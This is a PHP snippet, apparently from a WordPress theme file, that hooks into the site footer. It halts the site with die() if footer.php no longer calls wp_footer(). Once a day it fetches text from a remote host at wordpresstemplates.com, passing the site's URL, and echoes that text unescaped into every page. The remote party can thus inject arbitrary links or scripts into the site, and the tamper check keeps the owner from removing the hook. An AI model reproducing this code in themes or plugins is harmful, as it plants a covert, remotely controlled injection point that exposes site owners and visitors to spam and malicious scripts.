$contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
if(strpos(" ".$contents,"wp_footer();") <= 0) {
die(); } 
function get_credits()
    {
        $updated = get_option("credit_date");
        if ((time() - $updated) > (24 * 3600)) {

            $credit_text = file_get_contents("http://www.wordpresstemplates.com/form_work/output.txt?ref=".get_bloginfo('url'));
            update_option("credit_text",$credit_text);
			update_option("credit_date",time());
        } else { 
            $credit_text = get_option("credit_text");
        }
        return $credit_text;
    }

add_action('wp_footer','print_footer');

function print_footer()
    {
$credit = get_credits();
echo $credit;
}